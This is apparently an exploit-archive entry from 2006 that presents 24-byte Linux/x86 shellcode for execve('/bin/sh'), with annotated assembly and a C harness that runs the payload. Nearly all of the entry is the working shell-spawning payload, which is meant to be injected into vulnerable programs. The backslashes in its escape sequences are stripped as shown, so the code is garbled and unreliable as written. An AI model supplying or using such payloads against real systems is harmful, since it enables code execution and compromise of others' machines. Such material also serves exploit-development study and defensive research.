[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/x86 execve(/bin/sh) 24 bytes
# Published : 2006-05-01
# Author : hophet
# Previous Title : linux/x86 SET_IP() Connectback Shellcode 82 bytes
# Next Title : openbsd/x86 execve(/bin/sh) 23 bytes
/*
* [Linux/x86]
* Shellcode for: execve("/bin/sh", ["/bin/sh"], NULL)
* 24 bytes
* hophet [at] gmail.com
* http://www.nlabs.com.br/~hophet/
*
*/
char shellcode[] =
"x99" // cltd
"x31xc0" // xor %eax,%eax
"x52" // push %edx
"x68x6ex2fx73x68" // push $0x68732f6e
"x68x2fx2fx62x69" // push $0x69622f2f
"x89xe3" // mov %esp,%ebx
"x52" // push %edx
"x53" // push %ebx
"x89xe1" // mov %esp,%ecx
"xb0x0b" // mov $0xb,%al
"xcdx80"; // int $0x80
int main() {
void (*p)();
p = (void *)&shellcode;
printf("Lenght: %dn", strlen(shellcode));
p();
}
// www.Syue.com [2006-05-01]